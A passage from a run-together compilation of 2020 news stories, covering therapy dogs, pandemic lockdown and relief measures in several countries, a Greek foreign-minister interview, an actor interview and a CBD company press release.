well-being in some studies, including for people in long-term care. Story continues Terry Gallogly with her therapy dogs Ken, Barbie and Pumpkin. (Laura Spotteck) About three years ago, Victoria Gentile, a teacher at Fort Salonga Elementary School, called Gallogly to have her visit her special needs class. Many of her students have autism or learning delays and she thought the dogs could put them more at ease to help them progress. This time, Gallogly brought her tiny-but-mighty shichon named Pumpkin. Gentiles classes started with learning to line up when Pumpkin, and sometimes other small dogs, came. Eventually, she had them work on reading. Therapy dog Pumpkin sits with a student at Fort Salonga Elementary School for reading time. (Adam Kaufman) When you read to a dog, they're not judgmental, Gallogly said. It takes away that fear and it's also the comfort of holding a dog when you're reading or petting a dog while you're reading ... (the kids) actually think they're reading to a dog. Studies in progress suggest that dog-assisted therapy might be a way to help kids with autism achieve goals and tasks, though more research is needed. Gentile said some of her students overcame their fear about reading time after therapy dog visits. Reading to dogs ... has really made them feel much better about reading out loud, Gentile told TODAY. It decreases their anxieties. Therapy dog Pumpkin visits with residents at a nursing home. (Laura Spotteck) One of the hallmarks of a therapy dog is an easygoing nature in many different situations. The dogs have to interact and respond in positive ways, even when people they are visiting are loud, accidentally step on them or have other behaviors that can scare dogs. That, Gallogly said, isnt always something you can teach. It's really the temperament of the dog, Gallogly said. Then it's just regular obedience training, sit, stay, come, leave it, off. They have to walk on a loose leash, so they have to be under control. At the senior care facilities, her dogs are ready to cuddle and play, even when the people are in wheelchairs or cant speak or move quickly. The residents often laugh, hug and kiss the dogs and sometimes respond more to them than they do to other humans. What other instance can you go over to something that's living and breathing, get love from and pet them, hug them, Gallogly said. They don't care what your mental capacity is or what your physical or looks are ... it's that unconditional love and non-judgment I think that brings the most joy. Therapy dog Barbie visits with students at Freeport High School. (Adam Kaufman) Teens who are facing a lot of anxiety, and sometimes trauma, have been receiving visits, too. Nearly 32% of teens 13 to 18 years old experience anxiety, according to the National Institutes of Health, and nearly 5% have post-traumatic stress disorder. Many public schools have state mandates to increase mental health resources for their students. After a teen from Freeport High School, in Freeport, New York, was killed last year, some students appeared to be struggling and Rosa Medina, a senior at the school, requested the therapy dogs. Gallogly and other volunteers began regular visits with groups of students. There was people in my class that were mourning, visibly, and the whole school just had that kind of feel to it, she told TODAY. There seems to be a stigma around mental illness, especially with ... teenagers who don't know much about it. So, I was thinking of a way to make mental health resources more palatable and so I thought of therapy dogs. The nonprofit now has 18 volunteer dog handlers, in addition to Gallogly, to manage the growing requests. They also train and certify therapy dogs. I feel totally blessed, Gallogly said. If you can bring joy to anybody, and you could, why wouldn't you? And the dogs do that. I have that ability. I have those type of dogs that will go visit and bring joy. Editor's Note: Because of COVID-19 restrictions, Therapy Dogs of Long Island has temporarily paused its visits. Amid growing frustration against the lockdown order in several states of the US, Texas Governor Greg Abbott on Monday said that he will not extend his stay-at-home order for the state after Thursday (April 30). The announcement sends a clear message that Abbott is aiming for a phased exit from the social distancing measures meant to curb the spread of coronavirus COVID-19 outbreak. Abbott's new move will supersede all local orders, allowing businesses like retail stores, malls, restaurants and theaters to reopen Friday but limits occupancy to 25%. The order will also allow libraries and museums to reopen. The Texas govenreor also saud that he also wants barbershops, salons, gyms and bars open "as soon as possible" and expressed hope that these services will start their operations around mid-May. "Now it's time to set a new course, a course that responsibly opens up business in Texas. We will open in a way that uses safe standards -- safe standards for businesses, for their employees as well as for their customers. Standards based upon data and on doctors," Abbott said. Abbott made the announcement at a time when some more states in the US are planning phased reopenings of their economies, despite the call by public health professionals to not do so. Experts maintain that in order to curb the spread of COVID-19 without proper strict social distancing mesures, states and localities will have to come up with measures to build the capacity for additional testing and contact tracing. According to CNN, several medical and public health officials in Texas have claimed that the state isn't doing enough testing to end lockdown restrictions. Abbott, however, rejected the claim saying the state "should easily exceed our goal of 25,000 tests per day" by early May. He added that White House coronavirus response coordinator and that Dr. Deborah Birx has told him "the Texas plan was great." "Now more than ever, Texans must remain committed to safe distancing practices that reduce the spread of Covid-19, and we must continue to rely on doctors and data to provide us with the safest strategies to restore Texans' livelihoods. We must also focus on protecting the most vulnerable Texans from exposure to Covid-19. If we remain focused on protecting the lives of our fellow Texans, we can continue to open the Lone Star State," Abbott remarked. A panic buying mother and daughter accused of fighting with another shopper over toilet paper at the peak of COVID-19 madness will have to wait for their day in court. Treiza, 60, and Meriam Bebawy, 23, were charged by police after video emerged of a wild brawl at Chullora Woolworths, in south-western Sydney, on Saturday, March 7. The pair, from a Coptic Christian migrant family from Bankstown in Sydney's south-west, were apparently incensed that a woman, 49, was equally determined to get hold of toilet paper packs in the early hours of March 7. Police allege the pair used 'unlawful violence' towards the woman, causing her to 'fear for her safety'. The Bebawys - who are facing up to 10 years in jail if convicted - were due to appear in Bankstown Local Court on Tuesday, but as a result of new coronavirus allowances did not have to face the magistrate. In the shocking video that went viral on Facebook, Mrs Bebawy protected her trolley - loaded with Quilton four-ply - as another woman attempted to grab a single packet. Meriam Bebawy (left), 23, and her mother Treiza (right), 60, were charged with affray over the Woolworths supermarket brawl The Bebawy family members allegedly scuffled with the victim, above, at a Woolworths supermarket after collecting a sizeable amount of toilet paper There was hair-pulling, scuffling and screaming, before the furious victim spat at the Bebawy family: 'I just wanted one pack!' Mrs Bebawy is then recorded saying 'no, not one pack!' while shielding her trolley. The fracas ended with one Woolworths employee overheard telling Mrs Bebawy: 'You are fighting over tissues. Think about what you're doing, yeah?' The brawl began shortly after the store opened, with police called at about 7am. It came as Australians bizarrely swept the supermarket shelves of toilet paper to an 'unprecedented' extent - sparking store shortages across the country. This isn't the Thunderdome. It isn't Mad Max Comments from a senior NSW police officer after footage of the fight went viral The panic buying was sparked by fears the coronavirus pandemic would lead to citywide shutdowns. NSW Police were called to the Woolworths store and spoke to the victim early that morning, leading a senior officer to make withering comments. 'We just ask that people don't panic like this when they go out shopping,' acting inspector Andrew New told reporters at the time. 'There is no need for it. It isn't the Thunderdome, it isn't Mad Max, we don't need to do that.' Accused: Mariam Begawy The victim escaped the brawl uninjured. The accused pair handed themselves in to police that evening, shielding their faces from waiting TV cameras. Both were charged with affray, an offence that has a maximum punishment of up to 10 years' imprisonment. The definition of that charge under the Crimes Act is that a person has 'used or threatened' violence and their conduct 'is such as would cause a person of reasonable firmness present at the scene to fear for his or her personal safety'. 'If two or more persons use or threaten the unlawful violence, it is the conduct of them taken together that must be considered.' The victim (on right) yelled at the pair that she just wanted 'one pack' - after the Bebawys had allegedly loaded up a trolley full of Quilton toilet paper CORONAVIRUS CASES IN AUSTRALIA: 27,244 Victoria: 20,269 New South Wales: 4,273 Queensland: 1,161 Western Australia: 692 South Australia: 473 Tasmania: 230 Australian Capital Territory: 113 Northern Territory: 33 TOTAL CASES: 27,244 ESTIMATED ACTIVE CASES: 269 DEATHS: 897 Updated: 5.31 PM, 11 October, 2020 Source: Australian Government Department of Health Advertisement The incredible run on toilet paper seen in early March forced supermarkets Coles and Woolworths to restrict customers to one pack per person. Prime Minister Scott Morrison, suppliers and police agencies were forced to reassure the community the nation was not at risk of running out of loo roll. Mr Morrison said hoarding was 'not sensible, it is not helpful and it has been one of the most disappointing things I have seen in Australian behaviour in response to this crisis. 'It's ridiculous, it's un-Australian, and it must stop.' The panic was uncalled for, given most of the country's supply is produced in Australia. Manufacturer Kimberley-Clark quickly forced its South Australian factory into 24/7 operations. The Chullora incident was one of the most sensational instances of alleged violence surrounding toilet paper amid the hysteria, but it was far from not alone. On March 4, police were called to a Westfield Parramatta supermarket after a woman allegedly pulled a knife on another shopper in the toilet paper aisle. The next day, in Tamworth, a shopper, 50, was Tasered and charged after he allegedly 'grabbed a woman's throat' during an argument over toilet paper at a Big W, on March 5. A common scene in early March: Woolworths shelves stripped bare by shoppers over coronavirus concerns. There are signs the toilet paper hoarding is easing That same week, police officers are seen speaking to shoppers after an incident involving a knife at Westfield Parramatta, in Sydney's west, about 1.30pm on March 4 Likewise, on March 5, a man, 50 (above), was charged after allegedly assaulting a Big W staff member during an argument over toilet paper in Tamworth So bleak was the toilet paper shortage that photographs of elderly people staring at empty shelves lit the internet alight. While demand for toilet paper has eased, the major supermarkets have confirmed demand is still well above average. At the peak of the panic buying madness, Woolworths sold more than 21.5 million toilet rolls in a single week. Mrs and Ms Bebawy's matter will return to court on May 12. M. ZACHAREA: Good evening to the Minister of Foreign Affairs, Nikos Dendias, who is giving his first interview in quite some time. Thank you for this, Mr. Dendias. Good evening. N. DENDIAS: Good evening to your viewers. I hope everyone is well. M. ZACHAREA: Ill start with Cavusoglus reaction. Its as if Ankara is constantly looking for something negative to say about Greece, even on a humanitarian issue. Why? N. DENDIAS: I dont understand it completely. I think that, as you said, in the current state of affairs, Turkey is trying to maintain a tense climate in its relations with Greece, even on an issue such as this the return of the Greek merchant seamen which shouldnt be used in this way by the Turkish side. In any event, we did our duty. We thanked Turkey for the assistance it offered the Greek government in bringing back the Greek seamen. How Turkey takes our expression of thanks is up to Turkey. M. ZACHAREA: Turkey has been through quite an ordeal with the coronavirus. It is still facing difficulties in the health and economy sectors. But we see that, in spite of this, it is still using aggressive rhetoric towards Greece. We see that it is continuing its provocative actions over the Aegean, and we hear it is thinking of bringing back the pressure through migrant flows in Evros. What is your take on all of this? N. DENDIAS: Im certain that Turkeys conduct in the Aegean and in the Eastern Mediterranean is not conduct befitting a modern state a modern state that wants to become a member of the European family. In other words, respecting the whole framework of values that the European Union stands for. There are the violations of Greek sovereign rights and, unfortunately, Greek sovereignty with the flyovers of the Greek islands. There are the surveys in the Cypriot Exclusive Economic Zone and in Cypriot territorial waters. There are the verbal provocations, beyond what you mentioned earlier. None of this helps our relationship with Turkey or, as I always say, Turkey itself. In any case, Greece is not a country that will be dragged down by the other sides escalating of its rhetoric or conduct. As a country, we respect International Law and function on the basis of International Law. And, needless to say, Greece also defends its sovereign rights, as it is obliged to do as a member of the European Union and the United Nations. M. ZACHAREA: Recently, there have been reports that Erdogan is gathering migrants with Covid-19 on Turkeys shores, with the aim of their crossing, at some point whenever they can, as soon as they can to our country and from there to Europe. Is there any truth to these rumours and reports? N. DENDIAS: Im not prepared to believe that Turkey has a mechanism for separating migrants into those who are infected with the coronavirus and those who are not infected, and then pushing those who are infected to come to Greece. Im not ready to say I believe that. But beyond that, we know that migrants have gathered on Turkeys shores. We also know about Turkey's recent conduct and its effort to create migrant flows towards Greece and Europe. We dealt with this successfully, as a European country, with respect for the law and the European acquis. I hope Turkey has drawn the right conclusions from this incident and wont repeat the endeavour. M. ZACHAREA: Where do our talks with Italy and Egypt stand on the matter of delimiting EEZs? N. DENDIAS: First of all, it wouldnt be right for me make detailed public comments on ongoing talks ... M. ZACHAREA: Just tell us a little. N. DENDIAS: Of course. These are clearly key priorities for the Mitsotakis government. If you will, we delayed in settling these matters. I think that now is the time for us to find solutions with our neighbouring countries, and especially with friendly neighbouring countries. M. ZACHAREA: Are we close to settling this? N. DENDIAS: Look, we are engaged in sincere talks with these countries, so we hope we really are close. But Im not prepared to say when and how a given negotiation will end, because there are many, many details. But in any case, it is my hope that, in the future, Turkey, too, will see that the path to resolving problems, any problem, is discussion based on International law, and not flyovers or violation of sovereignty and sovereign rights. M. ZACHAREA: When will you start travelling again? So we know when citizens will be able to travel. N. DENDIAS: Unfortunately, all of my visits have been pushed back. There was an extensive programme of bilateral meetings. I have to go to all the countries that are members of the UN Security Council, and we also have to deepen our bilateral relations in the context of our European Union family. I hope that, as soon as the situation improves not just in Greece, where things went relatively well, thank God, but throughout Europe and the world Greek diplomacy will be able to pick up where it left off. M. ZACHAREA: Thank you very much for being with us, Minister. N. DENDIAS: Thank you very much, and take care. Metro Manila (CNN Philippines, April 28) The planet has started to heal because of the economic changes that took place beginning at the outbreak of the coronavirus disease. However, continuous environmental healing highly depends on how countries will adapt their practices according to the new normal. This is what United Nations Environment Programme Goodwill Ambassador Antoinette Taus said in her interview with CNN Philippines on Tuesday night. She further emphasized the importance of changing personal and business practices permanently in order to continue environmental healing. At the moment, the environment is healing. But it is not something that will continue if we do not actually change our ways permanently, if we do not do business unusual. If we do not transition to the new normal. RELATED: There's an unlikely beneficiary of coronavirus: The planet Taus also stressed that losing lives amid the pandemic is not something to celebrate even though it has caused the earth to heal. Saving the planet doesnt have to cost lives. The planet may seem to be healing right now. It is not a cause for celebration, because losing lives doesnt have to happen in order to save the planet, she said. According to the UN environment ambassador, history has shown that greenhouse gas emission becomes worse every time the economy starts rising again. This is called revenge pollution, Taus explained. History has shown that every single time that there has been a drop in the economy, greenhouse gas emissions also go down. And sadly, history has also shown that every single time that the economy has recovered, greenhouse gas emissions get worse. This is something environmental scientists are afraid of right now. She added that proper disposal of medical wastes is of high concern at the moment. When theres a global pandemic, our main priority is first and foremost, health and safety. But that doesnt mean us being irresponsible. When we speak of safety and health, it also means disposing of wastes properly, Taus said. In the last week of April every year since 2001, WHO celebrates African Vaccination Week in unison with World Immunization Week. This years theme is vaccines work for all, celebrating the people who develop, deliver, and receive vaccines as heroes, contributing to protecting everyone, everywhere. Never has this been clearer, than in the ongoing COVID-19 pandemic. During African Vaccination Week celebrations over the past nine years, immunization has reached more than 180 million people. This year, as most countries remain in lockdown, campaign activities have been postponed in line with physical distancing measures. When COVID-19 transmission is contained, scaling-up supplementary immunization will be a priority to ensure we reach communities in need, particularly those most at risk. Even in times of crisis, provision of routine immunization services, as part of essential health service delivery, should continue. Now is the time also, to increase investment in vaccine research and development. Through the African Vaccines Regulatory Forum (AVAREF), safe and effective vaccines are reaching communities faster. It took only 90 days, for Burundi, the Democratic Republic of the Congo, Ghana, Guinea, and Zambia to license the Merck Ebola vaccine after WHO prequalification in November 2019. African countries should engage in clinical trials that meet international standards so that the resulting products are adapted to meet regional needs. Through technology transfer, vaccine production in African countries should increase, to reduce the continents reliance on importing these essential products. Every year, more than 30 million African children under the age of five fall ill and 500 000 die due to vaccine-preventable diseases. This accounts for 58% of global deaths from these diseases. Immunization coverage has struggled to keep pace with population growth and remains at 76% in the African Region, far short of the 90% target. The results of this shortfall are clear: in the past year, six African countries have reported major outbreaks of measles. In the most severe outbreak in the Democratic Republic of the Congo, there were more than 360 000 cases and more than 6600 deaths. Many of those affected were children. To strengthen immunization coverage, we need to strengthen essential health services as part of building resilient health systems. Strong primary health care systems are the most effective way to do this and to progress towards universal health coverage. To protect communities from vaccine-preventable disease outbreaks during this unprecedented time, I urge countries to maintain routine immunization services, using innovative approaches, and with strong infection prevention control practices in health facilities. Learn more: World Immunization Week 2020 https://www.who.int/news-room/events/detail/2020/04/24/default-calendar/world-immunization-week-2020 COVID-19: Operational guidance for maintaining essential health services during an outbreak https://www.who.int/publications-detail/covid-19-operational-guidance-for-maintaining-essential-health-services-during-an-outbreak (TNS) Federal officials notified the county and city of San Diego, Calif., this week that a combined $580 million in COVID-19 relief money they recently received can't be used to cover revenue shortfalls caused by the pandemic.But federal officials have given the city and county some flexibility to use the money in ways that could still help close large budget gaps created by business closures and event cancellations that have cratered local tax revenues.For example, the money can cover efforts to allow employees to use technology to work from home, to make city services available online, and to allow government to continue functioning in general.In addition, the money can be used to pay police and firefighters actively enforcing public health orders, which could include efforts to make sure beaches and bars remain closed and to prevent large gatherings in parks.The money also can be used for direct COVID-19 expenses, such as testing people for the virus, and to mitigate "second order" impacts, such as providing grants to businesses forced to close by public health orders.The city and the county the only two local governments to receive federal relief money so far have been lobbying federal officials to allow the money to cover revenue shortfalls caused by the pandemic.The city, which received $249 million in federal relief, estimates that the pandemic will wipe out $300 million in tax revenue. That estimate is a combination of hotel tax and sales tax revenue.The county, which got $330 million in federal relief, estimates a revenue loss of between $260 million and $395 million. The largest chunk of that is the loss of sales tax revenue.Because so many cities across the nation are experiencing similar revenue shortfalls, federal officials sent all agencies that received relief money a five-page memo Wednesday night that aims to clarify how the money can be used."Funds may not be used to fill shortfalls in government revenue," the memo says. "Although a broad range of uses is allowed, revenue replacement is not a permissible use of fund payments."The memo also says the money can't be used for payroll expenses, unless the workers being paid are performing duties "substantially dedicated to mitigating or responding to the COVID-19 public health emergency."The memo also uses language that appears to give the city and county significant latitude.For example, it says the money can be used for any "COVID-19-related expenses reasonably necessary to the function of government."It seems to be particularly flexible regarding use of the money to pay firefighters and police officers, which make up the lion's share of the city's personnel expenditures.The memo says the federal money can be used for "public safety measures undertaken in response to COVID-19," with no limiting details.On grants for local businesses, the memo indicates there is no limit to how much the city can spend.It says eligible expenses include money spent on "grants to small businesses to reimburse the costs of business interruption caused by required closures."The city used some existing revenue streams last month to create a $6.1 million relief fund for small businesses that is doling out $10,000 grants and loans of $10,000 to $20,000.The memo indicates the city could instead use the federal money and potentially increase the size of the program to help more businesses.The county also has established a similar relief program for small businesses.While the memo is clear that the relief money can't be used to cover revenue shortfalls, local officials say they are still hopeful a subsequent federal relief bill will help cover those shortfalls.Andy Pease, finance director of the county's Health and Human Services Agency, told the board of supervisors Tuesday that the county's lobbyist is continuing to seek greater flexibility on how the relief money can be spent.Pease said that in addition to providing money to cover revenue shortfalls, a subsequent stimulus bill could also amend the restrictions in the existing relief bill.Councilwoman Barbara Bry, who leads the city council's Budget Committee, said Friday she's been told by officials that such an outcome is likely.Bry said it's disappointing that the federal relief can't yet be used to cover revenue shortfalls but, she noted, there is significant flexibility in how the money can be spent.Bry said she plans to urge her council colleagues to spend the federal money with a focus on establishing a "foundation for an economic recovery" that all San Diegans can participate in.She said three potential uses of the federal money are providing free broadband internet service to the entire city, more relief for small businesses and reconfiguring libraries and other city facilities to comply with social distancing guidelines.The relief money received by the county and city comes from the $2.2 trillion Coronavirus Aid, Relief, and Economic Security Act, which was signed into law March 27.It included $150 billion for state and local governments. For cities to be eligible, they must have at least 500,000 residents.San Diego was one of six California cities to qualify, along with Los Angeles, San Jose, San Francisco, Fresno and Sacramento.According to the federal legislation, cities must return any money they don't use to cover eligible expenses.A spokeswoman for Mayor Kevin Faulconer said city officials are grateful to have the federal money."This federal economic relief is great news for San Diego and will help address one-time expenses related to COVID-19," said the spokeswoman, Christina Chadwick. "We will continue to seek additional federal guidance so these funds are allocated appropriately and continue to work with our federal representatives on any future relief packages. Having started her career at a time when complex and layered characters for women were a rarity, actor Lisa Ray is happy to be a part of the shift in the cultural conversation and storytelling. Ray plays a superstar reluctant to come out of the closet in Amazon Prime Video's Four More Shots Please, a story revolves around four urban women. Lisa said the creator of the series, Rangita Nandy had offered her roles in the past as well but she found Four More Shots Please compelling. Everything about the project resonated with me. The fact that it's female led, female centric, the themes and issues that are addressed, the fresh cast and of course the role of Samara Kapoor, an over the hill star, Lisa told PTI in an interview. It's not lost on me that at 48 and a veteran of many cultural phases in India, the opportunity to tap into the current zeitgeist is an unusual honour. When I started in the 90s, these roles for women were a distant dream in India and I had to leave (the country) to find good content, she said. Samara is the lover of one of the four main leads, Umang Singh, played by Bani J. Lisa said she was happy to notice that people accepted it as a love story and without labeling it, which is how she also approaches her characters. I don't label my characters as an actor. I am simply taking on the role of wonderfully complex women. And that's how I approached Samara as well. The feedback I receive on #Umara (Samara and Umang) is that the relationship is so beautifully normalised and not played up as anything but two complex, sensitive people trying to make their relationship work. She said she surrendered to her director Nupur Asthana's vision. I trusted her implicitly. I'm very much a director's actor. Lisa is happy with the response to season one and two of Four More Shots Please. She said sophomore season is deliciously subversive, entertaining and emotionally compelling, which appeals to a large segment in the audience if not everyone. We are experiencing a shift in the cultural conversation. I do believe the audience is ready and there is an audience. You can't possibly appeal to every demographic in India and we're not trying to do it with. We're staying true to our world. It's a very entertaining show that is reflecting the lives of independent, working, urban young women and as Rangita had explained when we first met...we don't see these characters explored enough in mainstream content in India. Streaming platforms have helped promote interesting content, especially for women, something which wasn't prevalent in cinema. Digital platforms are paving the way to more varied, risky and nuanced story-telling. I wonder at the representation of women in mainstream films. I wrote about this in my book Close to the Bone', about this binary characterisation in the 90s, how you could either be the vamp or the virginal heroine. I also wrote: In the misogynistic system, women are more disposable than men. We were newspaper items', I remember hearing, hot until next days' news', she said. Over a period of time, Lisa believes she has become a fearless actor and she focuses more on the process of creating a character. My takeaway (from any project) is to really let go and surrender. I suppose it's an expression of where I am in my life as well. Having lived through cancer, through so many ups and downs, I'm not particularly attached to attention or success- it's lovely if it's there, it's fine if it's not- but I invest in the process. I'm a much more fearless actor now and have stared down my mortality. I know that sounds dramatic - maybe that's the Samara (her character in Four More Shots Please') in me speaking, Lisa said. She said she is an accidental actress, who has managed to find work that aligns with her outlook. I define myself as a writer who occasionally acts and I've written a book, Close to the Bone', about my unusual journey and never aspired to be in front of the camera, I think I've managed to find work that is aligned with my outlook. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Nigeria will begin a "gradual easing" of coronavirus-related lockdowns for millions of people in its largest city Lagos and the capital, Abuja. President Muhammadu Buhari said the lockdowns, which had been due to end on Monday, needed to continue until 4 May. He also ordered new nationwide measures against Covid-19, including a night-time curfew and mandatory face masks. The moves would ensure the economy functioned "while still maintaining our aggressive response", Mr Buhari said. The easing will apply to Abuja, Lagos and neighbouring Ogun state, where collectively more than 25 million people have been under lockdown since 30 March. Other states have introduced their own measures. Before the announcement, workers at a construction site in Lagos rioted in protest at the lockdown. A police spokesman said the workers at the Lekki Free Trade zone - including those at the oil refinery of billionaire Aliko Dangote - injured several officers in the area. Fifty-one people were arrested, he added. There are reports that the protesters were angry that some foreign nationals were allowed to go to work at the site. Nigeria, Africa's most-populous nation and largest economy, has reported 1,273 confirmed cases of Covid-19 and 40 deaths. In a televised address on Monday night, Mr Buhari acknowledged that the lockdowns in Abuja, Lagos and Ogun had "come at a very heavy economic cost" since they began on 30 March. "Many of our citizens have lost their means of livelihood. Many businesses have shut down," he said. Source: BBC Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The International Labour Organisation (ILO) recently warned that the pandemic is seriously affecting employment and manufacturing around the world, especially in the tourism and automobile industries. Alette Van Leur, Director of Sectoral Activities Department at the ILO, emphasised that employment is facing the worst global crisis since World War II. Given that fact, the negative impact of COVID-19 on the economy has also blown away the US governments achievements in job creation over recent times. Statistics show that, during the booming employment period from September 2010 to February 2020, the US created 22 million additional jobs. However, according to the US Department of Labour, in only the past five weeks, 26.4 million Americans have applied for unemployment benefits. Economic experts at the Western Bank in San Francisco stated that the US economy is suffering a job bleed at an unprecedented speed and scale, which could be compared to a national-scale natural disaster. Meanwhile, in France, more than 10 million people working in the private sector have registered themselves on the temporary unemployment list. In an interview with BFM Business, French Labour Minister Muriel Penicaud revealed that the temporary unemployment rate in France is more than 50%. As reported by the British Chamber of Commerce, more than 70% of small and medium-sized enterprises (SMEs) in the UK have given some employees a break due to the pandemic and are waiting for aid from the government, in the context that the UK is currently the sixth largest COVID-19 outbreak in the world, with hundreds of thousands of cases of infection. In Thailand, the University of the Thai Chamber of Commerce predicted a GDP decline of 4% and 10 million jobs lost in the second largest economy in Southeast Asia due to the impact of the pandemic. With the employment crisis becoming an increasingly serious problem for such economies, governments have been forced to launch bailout packages to ensure social security and help SMEs to avoid bankruptcy. In the US, MPs in the House of Representatives have passed a coronavirus relief bill to fund small businesses and hospitals struggling with economic losses from the pandemic. Accordingly, the bill adds US$310 billion to replenish the Paycheck Protection Program (PPP), including US$60 billion for community banks and small lenders and US$75 billion for hospitals. Earlier, the US Senate passed a US$484 billion aid bill to support small businesses and hospitals. In the past few days, governments of European countries such as France, the Czech Republic and Iceland, have implemented emergency measures to increase support for businesses and workers affected by COVID-19. The Czech government announced that it would spend CZK216 billion to provide direct support, including tax reduction for enterprises and an aid programme for workers, while the majority of the remaining amount would come in the form of loan security. The total value of this support package is equivalent to 20.7% of the countrys annual GDP. In Germany, the Federal Employment Agency has permitted the deployment and creation of conditions for asylum seekers and jobless nationals from a third country to participate in crop harvesting in the agricultural sector. What is causing headaches for leaders in the world is that the attempt to restart the economy and enable people to resume working is a double-edged sword, as the disease remains severe in many countries. The ILO recommends that workers should only return to work when they meet the necessary conditions to prevent a recurrence of the disease. Meanwhile, many countries economic support packages are limited and the epidemic shows no sign of ending. These facts are putting the world in a positon of unprecedented difficulty. The Indian Air Force (IAF) on Tuesday airlifted 1.5 tonnes of medical supplies from New Delhi to Jammu amid the lockdown imposed to contain the spread of coronavirus, officials said. The consignment was handed over to the National Health Mission (NHM) at the Jammu airport and was subsequently transported to its godown in an ambulance, the officials said. They said the administration had sought the help of the IAF to airlift the supplies from Delhi to ensure adequate stocks of medicines in the Union Territory. Earlier on April 5, a 630-kg consignment of medicines, including life-saving anti-cancer ones was airlifted from the national capital to Srinagar. The drugs are being regularly airlifted by the Drug and Food Control Organisation (DFCO) under a well-knit contingency plan amid the nationwide lockdown. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Herzeliya, Israel and Calgary, Alberta--(Newsfile Corp. - April 28, 2020) - InnoCan Pharma Corporation (CSE: INNO) (FSE: IP4) ("InnoCan" or the "Company") announced that its major shareholder Tamar Technologies Ltd (formerly Solsken Ltd) ("Tamar"), has notified InnoCan of its intention to exercise its rights to license InnoCan's formulations and know-how for existing CBD products and new CBD formulations pursuant to the Cooperation Agreement between Tamar and InnoCan's wholly-owned subsidiary, InnoCan Pharma Ltd. dated April 15, 2019 (the "Cooperation Agreement"). The products will be developed by InnoCan in accordance with Tamar's guidelines, in order to manufacture and market a new line of CBD products under Tamar's brand. Tamar will be responsible for all regulatory approvals, branding, sales and distribution. The development and manufacturing will be carried out pursuant to the Cooperation Agreement as well as a statement of work entered by the parties on April 26, 2010. InnoCan will be entitled to upfront payments for the development of new product formulations and significant royalties based on sales, based on the parameters set out in the Cooperation Agreement and the SOW which sets forth the pricing for the development based on reasonable development costs and agreed to by the parties in good faith. The Cooperation Agreement can be found on InnoCan's profile at www.sedar.com. Ralph Bossino, Founder and CEO of Tamar, stated: "We believe that consumers are placing their trust in companies that do not compromise on safety and quality. We are therefore excited to partner with InnoCan to launch Tamar's CBD brand and seek to set the standard for quality and safety around the globe. The vision behind Tamar's brand is to harness the power of CBD and to deliver effective, science backed products, utilizing natural and clean ingredients, that complement the lives and routines of consumers while setting a standard of reliability, quality, trust and transparency in the CBD market. The whole Tamar Team is keen to start and make our brand to be worldwide well-known success story. Story continues The decision to proceed with the exercise of Tamar's rights under the Cooperation Agreement is one that has been taken following extensive consideration and comparable provider due diligence, in order to ensure we deliver on our vision. It comes down to the belief and confidence that Tamar has in InnoCan's ability to produce exceptional products and formulations backed by science which, coupled with our unique CBD, will set Tamar's products apart from our competitors. Having such a close working relationship with the InnoCan team has afforded us great insight into their capabilities, ultimately driving our decision to proceed in joint collaboration with each other." The implementation of what is a major part of the Cooperation Agreement strengthens the connection between Innocan and Tamar, its largest investor, highlighting Tamar's confidence in InnoCan's R&D capabilities, the execution abilities of management and the continuing development of the future relationship between the parties. Iris Bincovich, InnoCan's CEO, stated: "Tamar is the largest investor in InnoCan. The deep involvement of Tamar in InnoCan's activities, the close relationship between us and the advancements made by InnoCan since Tamar's initial investment have given Tamar the confidence to exercise a material portion of the Agreement, leading to this collaboration. This is a great sign of acknowledgment on the part of Tamar in our abilities to deliver formulations and products to the high standards expected by Tamar. The potential of the products developed is great and the collaboration will open a new potential revenue stream which, in parallel to InnoCan's own activity, will provide additional strength and diversification to InnoCan. The global Cannabidiol (CBD) market is valued at 553.7 million US$ in 2020 is expected to reach 4,268.3 million US$ by the end of 2026, growing at a CAGR of 33.5% during 2021-2026.* * Source: https://www.marketwatch.com/press-release/cannabidiol-cbd-market-size-highest-growth-rate-of-335-cagr-will-generate-42683-million-us-by-the-end-of-2026-2020-02-11 Tamar owns or exercises control or direction over 30,496,817 common shares of InnoCan representing 21.2% of the issued and outstanding common shares of InnoCan. In addition, Ralph Bossino, the founder and CEO of Tamar, is a director of InnoCan. Although the Cooperation Agreement was entered into prior to the Company becoming a reporting issuer, the exercise by Tamar of its rights under the Cooperation Agreement and the entering into of the SOW constitutes a "related party transaction" as defined by Multilateral Instrument 61-101 - Protection of Minority Security Holders in Special Transactions ("MI 61-101") requiring the Company, in the absence of exemptions, to obtain a formal valuation for, and minority shareholder approval of, the "related party transaction". The Company is relying on an exemption from the formal valuation and minority shareholder approval requirements of MI 61-101 as the fair market value of the transaction does not exceed 25% of the market capitalization of the Company as determined in accordance with MI 61-101. The Company also announces that it has entered into an investor relations consulting agreement (the "Consulting Agreement") with Green Times Consulting Ltd. ("Green Times") pursuant to which Green Times would render certain investor relations consulting services to the Company for at two (2) month term. The Company has agreed to issue 1,437,661 common shares to Green Times at a price of $0.1725 per share as partial consideration for entering into the Consulting Agreement and the services rendered thereunder. About InnoCan Pharma Corporation The Company, through its wholly-owned subsidiary, Innocan Pharma Ltd. ("Innocan Pharma Israel"), is a pharmaceutical tech company that focuses on the development of several drug delivery platforms combining cannabidiol ("CBD"). InnoCan and Ramot at Tel Aviv University are collaborating on a new, revolutionary exosome-based technology that targets both central nervous system (CNS) indications and the Covid-19 Corona Virus. CBD-Loaded Exosomes hold the potential to provide a highly synergistic effect of anti-inflammatory properties and help in the recovery of infected lung cells. This product, which is expected to be administrated by inhalation, will be tested against a variety of lung infections. The Company signed on a worldwide exclusive license agreement with Yissum, the commercial arm of the Hebrew University of Jerusalem to develop CBD drug delivery platform based on a unique-controlled release Liposome to be administrated by Injection. The company plans, together with Prof. Berenholtz, Head of the Laboratory of Membrane and Liposome Research of the Hebrew University to test the Liposome platform on several potential indications. The company is also working on a dermal product integrating CBD with other pharmaceutical ingredients as well as the development and sale of CBD-integrated pharmaceuticals, including, but not limited to, topical treatments for relief of psoriasis symptoms as well as the treatment of muscle pain and rheumatic pain. The founders and officers of InnoCan have commercially successful track records in the pharmaceutical and technology sectors in Israel and globally. About Tamar Technologies Ltd Tamar was established in 2018 to identify and invest in specialty biopharmaceutical advancements utilizing phytochemicals, with a scientific and evidential basis, to benefit 